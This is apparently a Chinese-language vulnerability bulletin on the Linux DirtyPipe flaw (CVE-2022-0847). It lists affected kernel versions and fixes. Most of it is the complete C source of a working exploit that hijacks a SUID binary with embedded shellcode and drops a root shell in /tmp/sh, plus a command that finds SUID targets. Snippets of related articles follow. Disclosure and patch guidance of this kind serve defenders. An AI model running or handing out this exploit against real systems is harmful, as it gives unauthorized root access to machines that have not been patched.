<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【漏洞速遞 | CVE-2022-0847 | 附POC】Linux DirtyPipe權限提升漏洞

    VSole2022-03-09 22:10:19

    0x01 前言

        攻擊者通過利用CVE-2022-0847-DirtyPipe漏洞,可覆蓋重寫任意可讀文件中的數據,從而可將普通權限的用戶提升到root權限。

    0x02 漏洞影響

    影響版本

    5.8 <= Linux kernel < 5.16.11 / 5.15.25 / 5.10.102
    

    安全版本

    該漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修復。
    

    0x03 漏洞復現

    先找一個具有SUID權限的可執行文件,進行提權

    find / -user root -perm /4000 2>/dev/null
    

    漏洞PoC:

    // dirtypipez.c
    #define _GNU_SOURCE#include #include #include #include #include #include #include #include 
    #ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif
    // small (linux x86_64) ELF file matroshka doll that does;//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);//   write(fd, elfcode, elfcode_len)//   chmod("/tmp/sh", 04755)//   close(fd);//   exit(0);//// the dropped ELF simply does://   setuid(0);//   setgid(0);//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);unsigned char elfcode[] = {  /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,  0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,  0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,  0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,  0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,  0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,  0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,  0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,  0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,  0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,  0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,  0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,  0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,  0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,  0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,  0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,  0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,  0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00};
    /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */static void prepare_pipe(int p[2]){  if (pipe(p)) abort();
      const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);  static char buffer[4096];
      /* fill the pipe completely; each pipe_buffer will now have     the PIPE_BUF_FLAG_CAN_MERGE flag */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    write(p[1], buffer, n);    r -= n;  }
      /* drain the pipe, freeing all pipe_buffer instances (but     leaving the flags initialized) */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    read(p[0], buffer, n);    r -= n;  }
      /* the pipe is now empty, and if somebody adds a new     pipe_buffer without initializing its "flags", the buffer     will be mergeable */}
    int hax(char *filename, long offset, uint8_t *data, size_t len) {  /* open the input file and validate the specified offset */  const int fd = open(filename, O_RDONLY); // yes, read-only! :-)  if (fd < 0) {    perror("open failed");    return -1;  }
      struct stat st;  if (fstat(fd, &st)) {    perror("stat failed");    return -1;  }
      /* create the pipe with all flags initialized with     PIPE_BUF_FLAG_CAN_MERGE */  int p[2];  prepare_pipe(p);
      /* splice one byte from before the specified offset into the     pipe; this will add a reference to the page cache, but     since copy_page_to_iter_pipe() does not initialize the     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */  --offset;  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);  if (nbytes < 0) {    perror("splice failed");    return -1;  }  if (nbytes == 0) {    fprintf(stderr, "short splice");    return -1;  }
      /* the following write will not create a new pipe_buffer, but     will instead write into the page cache, because of the     PIPE_BUF_FLAG_CAN_MERGE flag */  nbytes = write(p[1], data, len);  if (nbytes < 0) {    perror("write failed");    return -1;  }  if ((size_t)nbytes < len) {    fprintf(stderr, "short write");    return -1;  }
      close(fd);
      return 0;}
    int main(int argc, char **argv) {  if (argc != 2) {    fprintf(stderr, "Usage: %s SUID", argv[0]);    return EXIT_FAILURE;  }
      char *path = argv[1];  uint8_t *data = elfcode;
      int fd = open(path, O_RDONLY);  uint8_t *orig_bytes = malloc(sizeof(elfcode));  lseek(fd, 1, SEEK_SET);  read(fd, orig_bytes, sizeof(elfcode));  close(fd);
      printf("[+] hijacking suid binary..");  if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {    printf("[~] failed");    return EXIT_FAILURE;  }
      printf("[+] dropping suid shell..");  system(path);
      printf("[+] restoring suid binary..");  if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {    printf("[~] failed");    return EXIT_FAILURE;  }
      printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))");  system("/tmp/sh");
      return EXIT_SUCCESS;}
    

    0x04 修復建議

    升級linux內核到安全版本:

    Linux 內核 >= 5.16.11
    Linux 內核 >= 5.15.25
    Linux 內核 >= 5.10.102
    

    0x05 參考鏈接

    https://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&tempkey=MTE1NV9PVis1NU85cFZZQXVFYmZ1WTVkUlpsVGVvTGwwbndZX0lHUjM2dklaaXpieTFFeHlxblJkZkpzZmpSanRZRk1way1RRldoTkJlT1pNSlo2UmkwNzMzTVg2YUpvVjZSLTY4N0RKWGhPNUtSVGx2cE5rS2dxN1BXc1BtR2hpS2JwZFZMOFZNa0VveVdKMnYxUHlNN0xGS3lBd0hNUGRpRTFPRWc5aDRBfn4%3D&chksm=6a341e415d4397575012b4578d63c643957352ee896b255943cb5f52a6471389907b129d6b26#rdhttps://mp.weixin.qq.com/s/oMe3CbXpgfncq1qzXsHnHg
    
    linux系統pipe
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    arch #顯示機器的處理器架構(1) uname -m #顯示機器的處理器架構(2) uname -r #顯示正在使用的內核版本 dmidecode -q #顯示硬件系統部件 - (SMBIOS / DMI) hdparm -i /dev/hda #羅列一個磁盤的架構特性 hdparm -tT /dev/sda #在磁盤上執行測試性讀取操作 cat /p
    數據庫注入提權總結
    2022-08-10 15:52:54
    首先,不能直接將該函數注入子查詢中,因為 Oracle 不支持堆疊查詢 。其次,只有數據庫管理員才能使用 DBMS_LOCK 包。在 Oracle PL/SQL 中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:dbms_pipe.receive_messageDBMS_PIPE.RECEIVE_MESSAGE() 函數將為從 RDS 管道返回的數據等待 10 秒。
    ?Cobalt Strike基礎使用
    2021-10-28 08:48:39
    Cobalt Strike分為客戶端組件和服務器組件,服務器的組件也是團隊服務器,可以放在局域網或者公網下進行團隊使用,也是Cobalt Strike社會工程功能的托管機器,團隊服務器還可以存儲由Cobalt Strike收集的數據,并且進行日志管理。其支持多主機連接,部署好Beacon后提交一個要連回的域名或主機的列表,Beacon將通過這些主機輪詢。
    從去年爆出來的PolKit(CVE-2021-4034)漏洞和今年年初爆出來的DirtyPipe(CVE-2022-0847),能夠對Linux操作系統帶來十分嚴重的安全威脅。
    譯者:知道創宇404實驗室翻譯組原文鏈接:... 摘要 長期以來,Trickbot一直是主要的銀行惡意軟件家族之一。盡管最近發生了一些干擾事件,但攻擊者仍在繼續推動惡意軟件的發展,并在最近開始將其部分代碼移植到Linux...
    Zero漏洞概述中國蟻劍是一款開源的跨平臺網站管理工具,它主要面向于合法授權的滲透測試安全人員以及進行常規操作的網站管理員。2019年4月12日凌晨,有用戶在中國蟻劍GitHub上提交了issue,稱發現中國蟻劍存在XSS漏洞,借此可引起RCE。據悉,該漏洞是因為在webshell遠程連接失敗時,中國蟻劍會返回錯誤信息,但因為使用的是html解析,導致xss漏洞。如果沒有關閉火絨,則會報僵尸網絡攻擊,并將攻擊進行攔截。
    任務的狀態保存及再加載, 這段過程就叫做上下文切換。上下文切換會導致額外的開銷,常常表現為高并發執行時速度會慢串行,因此減少上下文切換次數便可以提高多線程程序的運行效率。在這種機制下,一個線程的堵塞不會導致整個進程堵塞。當CPU接收到中斷請求時,會在正在運行的程序和發起中斷請求的程序之間進行一次上下文切換。高并發,低耗時的情況,建議少線程。
    Seccomp BPF與容器安全
    2022-07-17 10:07:03
    本文詳細介紹了關于seccomp的相關概念,包括seccomp的發展歷史、Seccomp BPF的實現原理以及與seccomp相關的一些工具等。此外,通過實例驗證了如何使用seccomp bpf 來保護Docker的安全。
    2021 年,隨著數字貨幣的流行以及國家間對抗的加劇,以“高級持續性威脅”(APT)組織為代表的黑客組織高度活躍,嚴重危及各國的政治、經濟和軍事安全,甚至一度引發社會動蕩。這一年來,利用主流產品的漏洞入侵系統仍是黑客組織最青睞的攻擊手段,被利用的零日漏洞僅上半年內就多達 40 個,范圍遍及 Window、Microsoft Office、iOS、Android 和 Chrome等幾乎所有主流系統
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类